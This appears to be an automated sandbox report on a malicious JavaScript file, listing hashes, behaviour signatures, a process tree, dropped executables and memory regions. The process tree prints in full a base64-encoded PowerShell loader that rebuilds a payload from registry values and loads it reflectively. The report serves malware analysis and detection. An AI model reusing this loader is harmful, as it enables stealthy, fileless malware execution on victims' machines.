Analysis

  • max time kernel
    150s
  • max time network
    136s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    20-01-2021 18:53

General

  • Target

    pancho.js

  • Size

    2.5MB

  • MD5

    bd52c3fcb98700992066743b021876dd

  • SHA1

    c711676cf2dadffa73b3bd03de01fc3e6ea4e892

  • SHA256

    a0081f88e43338810fe23bd2e1fba8857b45f4378df38fc0c217426468b924fc

  • SHA512

    24b6831f75736ba70ba8fd00263391e220c7e7cbf3c0d9ed1bfb24f92384a4694282509864d139950afaa910a2c278371354e61a51348b652419bd9c405d7e3b

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Uses Tor communications 1 TTPs

    Malware can proxy its traffic through Tor for more anonymity.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6987 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\pancho.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3116
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAbwBmAHEAZgBzAGcAZAAgACMAPgAkAHUAPQAkAGUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAZgBvAHIAIAAoACQAaQA9ADAAOwAkAGkAIAAtAGwAZQAgADcAMAAwADsAJABpACsAKwApAHsAJABjAD0AIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXAAiACsAJAB1ACsAIgAxACIAOwBUAHIAeQB7ACQAYQA9ACQAYQArACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AcABhAHQAaAAgACQAYwApAC4AJABpAH0AQwBhAHQAYwBoAHsAfQB9ADsAZgB1AG4AYwB0AGkAbwBuACAAYwBoAGIAYQB7AFsAYwBtAGQAbABlAHQAYgBpAG4AZABpAG4AZwAoACkAXQBwAGEAcgBhAG0AKABbAHAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUAKQBdAFsAUwB0AHIAaQBuAGcAXQAkAGgAcwApADsAJABCAHkAdABlAHMAIAA9ACAAWwBiAHkAdABlAFsAXQBdADoAOgBuAGUAdwAoACQAaABzAC4ATABlAG4AZwB0AGgAIAAvACAAMgApADsAZgBvAHIAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAaABzAC4ATABlAG4AZwB0AGgAOwAgACQAaQArAD0AMgApAHsAJABCAHkAdABlAHMAWwAkAGkALwAyAF0AIAA9ACAAWwBjAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAHkAdABlACgAJABoAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAaQAsACAAMgApACwAIAAxADYAKQB9ACQAQgB5AHQAZQBzAH0AOwAkAGkAIAA9ACAAMAA7AFcAaABpAGwAZQAgACgAJABUAHIAdQBlACkAewAkAGkAKwArADsAJABrAG8AIAA9ACAAWwBtAGEAdABoAF0AOgA6AFMAcQByAHQAKAAkAGkAKQA7AGkAZgAgACgAJABrAG8AIAAtAGUAcQAgADEAMAAwADAAKQB7ACAAYgByAGUAYQBrAH0AfQBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgAGMAaABiAGEAKAAkAGEALgByAGUAcABsAGEAYwBlACgAIgAjACIALAAkAGsAbwApACkAOwBbAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgApADsAWwBNAG8AZABlAF0AOgA6AFMAZQB0AHUAcAAoACkAOwA= "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3392
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAbwBmAHEAZgBzAGcAZAAgACMAPgAkAHUAPQAkAGUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAZgBvAHIAIAAoACQAaQA9ADAAOwAkAGkAIAAtAGwAZQAgADcAMAAwADsAJABpACsAKwApAHsAJABjAD0AIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXAAiACsAJAB1ACsAIgAxACIAOwBUAHIAeQB7ACQAYQA9ACQAYQArACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AcABhAHQAaAAgACQAYwApAC4AJABpAH0AQwBhAHQAYwBoAHsAfQB9ADsAZgB1AG4AYwB0AGkAbwBuACAAYwBoAGIAYQB7AFsAYwBtAGQAbABlAHQAYgBpAG4AZABpAG4AZwAoACkAXQBwAGEAcgBhAG0AKABbAHAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUAKQBdAFsAUwB0AHIAaQBuAGcAXQAkAGgAcwApADsAJABCAHkAdABlAHMAIAA9ACAAWwBiAHkAdABlAFsAXQBdADoAOgBuAGUAdwAoACQAaABzAC4ATABlAG4AZwB0AGgAIAAvACAAMgApADsAZgBvAHIAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAaABzAC4ATABlAG4AZwB0AGgAOwAgACQAaQArAD0AMgApAHsAJABCAHkAdABlAHMAWwAkAGkALwAyAF0AIAA9ACAAWwBjAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAHkAdABlACgAJABoAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAaQAsACAAMgApACwAIAAxADYAKQB9ACQAQgB5AHQAZQBzAH0AOwAkAGkAIAA9ACAAMAA7AFcAaABpAGwAZQAgACgAJABUAHIAdQBlACkAewAkAGkAKwArADsAJABrAG8AIAA9ACAAWwBtAGEAdABoAF0AOgA6AFMAcQByAHQAKAAkAGkAKQA7AGkAZgAgACgAJABrAG8AIAAtAGUAcQAgADEAMAAwADAAKQB7ACAAYgByAGUAYQBrAH0AfQBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgAGMAaABiAGEAKAAkAGEALgByAGUAcABsAGEAYwBlACgAIgAjACIALAAkAGsAbwApACkAOwBbAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgApADsAWwBNAG8AZABlAF0AOgA6AFMAZQB0AHUAcAAoACkAOwA= "
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:200
        • C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe
          "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1172
          • C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe
            "C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe"
            5⤵
            • Executes dropped EXE
            PID:3816

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe

    MD5

    b4cd27f2b37665f51eb9fe685ec1d373

    SHA1

    7f08febf0fdb7fc9f8bf35a10fb11e7de431abe0

    SHA256

    91f1023142b7babf6ff75dad984c2a35bde61dc9e61f45483f4b65008576d581

    SHA512

    e025f65224d78f5fd0abebe281ac0d44a385b2641e367cf39eed6aefada20a112ac47f94d7febc4424f1db6a6947bac16ff83ef93a8d745b3cddfdbe64c49a1e

  • C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe

    MD5

    b4cd27f2b37665f51eb9fe685ec1d373

    SHA1

    7f08febf0fdb7fc9f8bf35a10fb11e7de431abe0

    SHA256

    91f1023142b7babf6ff75dad984c2a35bde61dc9e61f45483f4b65008576d581

    SHA512

    e025f65224d78f5fd0abebe281ac0d44a385b2641e367cf39eed6aefada20a112ac47f94d7febc4424f1db6a6947bac16ff83ef93a8d745b3cddfdbe64c49a1e

  • C:\Users\Admin\AppData\Local\Temp\x64btit.txt

    MD5

    14e6bdaafdf0275caf6062ba1d9859ae

    SHA1

    8da08ab17eb0afdf491550d1651c9c79781b41c1

    SHA256

    71ee32fd26b21ab352c73cc96781d6074570cc406d5b05ae3a35957f22714a43

    SHA512

    439ade02e82d66bc075746c384b3a19b90320c0279b15b2f83703a6496cb337c159f209d791b1fe412600418ea027386e22fe61102aa1b4e60d691a58a032484

  • memory/200-17-0x00000000097E0000-0x00000000097E1000-memory.dmp

    Filesize

    4KB

  • memory/200-19-0x0000000009590000-0x0000000009591000-memory.dmp

    Filesize

    4KB

  • memory/200-7-0x0000000007240000-0x0000000007241000-memory.dmp

    Filesize

    4KB

  • memory/200-9-0x0000000007880000-0x0000000007881000-memory.dmp

    Filesize

    4KB

  • memory/200-10-0x0000000007640000-0x0000000007641000-memory.dmp

    Filesize

    4KB

  • memory/200-11-0x00000000077E0000-0x00000000077E1000-memory.dmp

    Filesize

    4KB

  • memory/200-12-0x0000000007EB0000-0x0000000007EB1000-memory.dmp

    Filesize

    4KB

  • memory/200-13-0x00000000080B0000-0x00000000080B1000-memory.dmp

    Filesize

    4KB

  • memory/200-14-0x0000000007F50000-0x0000000007F51000-memory.dmp

    Filesize

    4KB

  • memory/200-15-0x00000000088D0000-0x00000000088D1000-memory.dmp

    Filesize

    4KB

  • memory/200-16-0x0000000008810000-0x0000000008811000-memory.dmp

    Filesize

    4KB

  • memory/200-4-0x0000000000000000-mapping.dmp

  • memory/200-18-0x0000000009540000-0x0000000009541000-memory.dmp

    Filesize

    4KB

  • memory/200-8-0x0000000007242000-0x0000000007243000-memory.dmp

    Filesize

    4KB

  • memory/200-20-0x0000000009D80000-0x0000000009D81000-memory.dmp

    Filesize

    4KB

  • memory/200-21-0x00000000098C0000-0x00000000098C2000-memory.dmp

    Filesize

    8KB

  • memory/200-22-0x0000000009AC0000-0x0000000009C0C000-memory.dmp

    Filesize

    1.3MB

  • memory/200-30-0x0000000007243000-0x0000000007244000-memory.dmp

    Filesize

    4KB

  • memory/200-5-0x00000000738C0000-0x0000000073FAE000-memory.dmp

    Filesize

    6.9MB

  • memory/200-6-0x0000000005000000-0x0000000005001000-memory.dmp

    Filesize

    4KB

  • memory/1172-25-0x0000000000400000-0x0000000000456000-memory.dmp

    Filesize

    344KB

  • memory/1172-24-0x0000000000401698-mapping.dmp

  • memory/1172-23-0x0000000000400000-0x0000000000456000-memory.dmp

    Filesize

    344KB

  • memory/1172-29-0x0000000002B20000-0x0000000002BBF000-memory.dmp

    Filesize

    636KB

  • memory/3392-3-0x0000000000000000-mapping.dmp

  • memory/3816-26-0x0000000000000000-mapping.dmp